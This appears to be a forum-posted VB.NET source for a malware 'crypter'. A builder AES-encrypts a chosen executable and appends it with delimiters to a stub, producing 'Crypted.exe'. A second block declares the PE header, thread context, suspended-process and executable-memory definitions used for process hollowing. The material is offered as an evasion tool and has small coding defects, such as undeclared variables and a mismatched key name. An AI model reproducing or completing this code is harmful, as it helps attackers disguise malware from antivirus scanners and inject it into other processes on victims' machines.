Code:
Imports System.Security.Cryptography
Imports System.IO
Imports System.Text
Public Class Form1
Private Sub CheckBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim sKey As String = " blblabla "
Dim Splitt As String = "lalala"
Dim Cryptfile As String
FileOpen(1, ("Stub.exe"), OpenMode.Binary)
sStub = Space(LOF(1))
FileGet(1, sStub)
FileClose(1)
FileOpen(1, (TextBox1.Text), OpenMode.Binary)
sFile = Space(LOF(1))
FileGet(1, sFile)
FileClose(1)
Cryptfile = sFile
Dim oAesProvider As New RijndaelManaged
Dim btClear() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim oKeyGenerator As New Rfc2898DeriveBytes(key, btSalt)
oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
Dim ms As New IO.MemoryStream
Dim cs As New CryptoStream(ms, _
oAesProvider.CreateEncryptor(), _
CryptoStreamMode.Write)
btClear = System.Text.Encoding.UTF8.GetBytes(Cryptfile)
cs.Write(btClear, 0, btClear.Length)
cs.Close()
Cryptfile = Convert.ToBase64String(ms.ToArray)
FileOpen(1, ("Crypted.exe"), OpenMode.Binary)
FilePut(1, sStub)
FilePut(1, Splitt)
FilePut(1, Cryptfile)
FilePut(1, Splitt)
FileClose(1)
Code:
'Made by JapaBrz
Imports System.Runtime.InteropServices
Imports System.Text
Class DD
<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _
Structure STARTUPINFO
Public cb As Integer
Public lpReserved As String
Public lpDesktop As String
Public lpTitle As String
Public dwX As Integer
Public dwY As Integer
Public dwXSize As Integer
Public dwYSize As Integer
Public dwXCountChars As Integer
Public dwYCountChars As Integer
Public dwFillAttribute As Integer
Public dwFlags As Integer
Public wShowWindow As Short
Public cbReserved2 As Short
Public lpReserved2 As Integer
Public hStdInput As Integer
Public hStdOutput As Integer
Public hStdError As Integer
End Structure
Private Structure PROCESS_INFORMATION
Public hProcess As IntPtr
Public hThread As IntPtr
Public dwProcessId As Integer
Public dwThreadId As Integer
End Structure
<StructLayout(LayoutKind.Sequential)> _
Private Structure IMAGE_DOS_HEADER
Public e_magic As UInt16
' Magic number
Public e_cblp As UInt16
' Bytes on last page of file
Public e_cp As UInt16
' Pages in file
Public e_crlc As UInt16
' Relocations
Public e_cparhdr As UInt16
' Size of header in paragraphs
Public e_minalloc As UInt16
' Minimum extra paragraphs needed
Public e_maxalloc As UInt16
' Maximum extra paragraphs needed
Public e_ss As UInt16
' Initial (relative) SS value
Public e_sp As UInt16
' Initial SP value
Public e_csum As UInt16
' Checksum
Public e_ip As UInt16
' Initial IP value
Public e_cs As UInt16
' Initial (relative) CS value
Public e_lfarlc As UInt16
' File address of relocation table
Public e_ovno As UInt16
' Overlay number
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> _
Public e_res1 As UInt16()
' Reserved words
Public e_oemid As UInt16
' OEM identifier (for e_oeminfo)
Public e_oeminfo As UInt16
' OEM information; e_oemid specific
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> _
Public e_res2 As UInt16()
' Reserved words
Public e_lfanew As Int32
' File address of new EXE header
End Structure
<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _
Private Structure VS_VERSIONINFO
Public wLength As UInt16
Public wValueLength As UInt16
Public wType As UInt16
<MarshalAs(UnmanagedType.ByValTStr, SizeConst:=15)> _
Public szKey As String
Public Padding1 As UInt16
End Structure
<StructLayout(LayoutKind.Sequential)> _
Structure SECURITY_ATTRIBUTES
Public nLength As Integer
Public lpSecurityDescriptor As IntPtr
Public bInheritHandle As Integer
End Structure
<StructLayout(LayoutKind.Sequential)> _
Private Structure VS_FIXEDFILEINFO
Public dwSignature As UInt32
Public dwStrucVersion As UInt32
Public dwFileVersionMS As UInt32
Public dwFileVersionLS As UInt32
Public dwProductVersionMS As UInt32
Public dwProductVersionLS As UInt32
Public dwFileFlagsMask As UInt32
Public dwFileFlags As UInt32
Public dwFileOS As UInt32
Public dwFileType As UInt32
Public dwFileSubtype As UInt32
Public dwFileDateMS As UInt32
Public dwFileDateLS As UInt32
End Structure
<StructLayout(LayoutKind.Sequential)> _
Public Structure FLOATING_SAVE_AREA
Public ControlWord As UInteger
Public StatusWord As UInteger
Public TagWord As UInteger
Public ErrorOffset As UInteger
Public ErrorSelector As UInteger
Public DataOffset As UInteger
Public DataSelector As UInteger
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> _
Public RegisterArea As Byte()
Public Cr0NpxState As UInteger
End Structure
<StructLayout(LayoutKind.Sequential)> _
Public Structure CONTEXT
Public ContextFlags As UInteger
'set this to an appropriate value
' Retrieved by CONTEXT_DEBUG_REGISTERS
Public Dr0 As UInteger
Public Dr1 As UInteger
Public Dr2 As UInteger
Public Dr3 As UInteger
Public Dr6 As UInteger
Public Dr7 As UInteger
' Retrieved by CONTEXT_FLOATING_POINT
Public FloatSave As FLOATING_SAVE_AREA
' Retrieved by CONTEXT_SEGMENTS
Public SegGs As UInteger
Public SegFs As UInteger
Public SegEs As UInteger
Public SegDs As UInteger
' Retrieved by CONTEXT_INTEGER
Public Edi As UInteger
Public Esi As UInteger
Public Ebx As UInteger
Public Edx As UInteger
Public Ecx As UInteger
Public Eax As UInteger
' Retrieved by CONTEXT_CONTROL
Public Ebp As UInteger
Public Eip As UInteger
Public SegCs As UInteger
Public EFlags As UInteger
Public Esp As UInteger
Public SegSs As UInteger
' Retrieved by CONTEXT_EXTENDED_REGISTERS
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> _
Public ExtendedRegisters As Byte()
End Structure
<StructLayout(LayoutKind.Sequential)> _
Public Structure IMAGE_OPTIONAL_HEADER32
'
' Standard fields.
'
Public Magic As UInt16
Public MajorLinkerVersion As [Byte]
Public MinorLinkerVersion As [Byte]
Public SizeOfCode As UInt32
Public SizeOfInitializedData As UInt32
Public SizeOfUninitializedData As UInt32
Public AddressOfEntryPoint As UInt32
Public BaseOfCode As UInt32
Public BaseOfData As UInt32
'
' NT additional fields.
'
Public ImageBase As UInt32
Public SectionAlignment As UInt32
Public FileAlignment As UInt32
Public MajorOperatingSystemVersion As UInt16
Public MinorOperatingSystemVersion As UInt16
Public MajorImageVersion As UInt16
Public MinorImageVersion As UInt16
Public MajorSubsystemVersion As UInt16
Public MinorSubsystemVersion As UInt16
Public Win32VersionValue As UInt32
Public SizeOfImage As UInt32
Public SizeOfHeaders As UInt32
Public CheckSum As UInt32
Public Subsystem As UInt16
Public DllCharacteristics As UInt16
Public SizeOfStackReserve As UInt32
Public SizeOfStackCommit As UInt32
Public SizeOfHeapReserve As UInt32
Public SizeOfHeapCommit As UInt32
Public LoaderFlags As UInt32
Public NumberOfRvaAndSizes As UInt32
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> _
Public DataDirectory As IMAGE_DATA_DIRECTORY()
End Structure
<StructLayout(LayoutKind.Sequential)> _
Public Structure IMAGE_FILE_HEADER
Public Machine As UInt16
Public NumberOfSections As UInt16
Public TimeDateStamp As UInt32
Public PointerToSymbolTable As UInt32
Public NumberOfSymbols As UInt32
Public SizeOfOptionalHeader As UInt16
Public Characteristics As UInt16
End Structure
<StructLayout(LayoutKind.Sequential)> _
Public Structure IMAGE_DATA_DIRECTORY
Public VirtualAddress As UInt32
Public Size As UInt32
End Structure
Public Structure IMAGE_NT_HEADERS
Public Signature As UInt32
Public FileHeader As IMAGE_FILE_HEADER
Public OptionalHeader As IMAGE_OPTIONAL_HEADER32
End Structure
Public Enum IMAGE_SIZEOF_SHORT_NAME
IMAGE_SIZEOF_SHORT_NAME = 8
End Enum
Public Structure Misc
Public PhysicalAddress As System.UInt32
Public VirtualSize As System.UInt32
End Structure
Public Structure IMAGE_SECTION_HEADER
Public Name As System.Byte
Public Misc As Misc
Public VirtualAddress As System.UInt32
Public SizeOfRawData As System.UInt32
Public PointerToRawData As System.UInt32
Public PointerToRelocations As System.UInt32
Public PointerToLinenumbers As System.UInt32
Public NumberOfRelocations As System.UInt16
Public NumberOfLinenumbers As System.UInt16
Public Characteristics As System.UInt32
End Structure
Public Const CONTEXT_X86 = &H10000
Public Const CONTEXT86_CONTROL = (CONTEXT_X86 Or &H1) 'SS:SP, CS:IP, FLAGS, BP
Public Const CONTEXT86_INTEGER = (CONTEXT_X86 Or &H2) 'AX, BX, CX, DX, SI, DI
Public Const CONTEXT86_SEGMENTS = (CONTEXT_X86 Or &H4) 'DS, ES, FS, GS
Public Const CONTEXT86_FLOATING_POINT = (CONTEXT_X86 Or &H8) '387 state
Public Const CONTEXT86_DEBUG_REGISTERS = (CONTEXT_X86 Or &H10) 'DB 0-3,6,7
Public Const CONTEXT86_FULL = (CONTEXT86_CONTROL Or CONTEXT86_INTEGER Or CONTEXT86_SEGMENTS)
Public Const CREATE_SUSPENDED = &H4
Public Const MEM_COMMIT As Long = &H1000&
Public Const MEM_RESERVE As Long = &H2000&
Public Const PAGE_NOCACHE As Long = &H200
Public Const PAGE_EXECUTE_READWRITE As Long = &H40
Public Const PAGE_EXECUTE_WRITECOPY As Long = &H80
Public Const PAGE_EXECUTE_READ As Long = &H20
Public Const PAGE_EXECUTE As Long = &H10
Public Const PAGE_WRITECOPY As Long = &H8
Public Const PAGE_NOACCESS As Long = &H1
Public Const PAGE_READWRITE As Long = &H4
End Class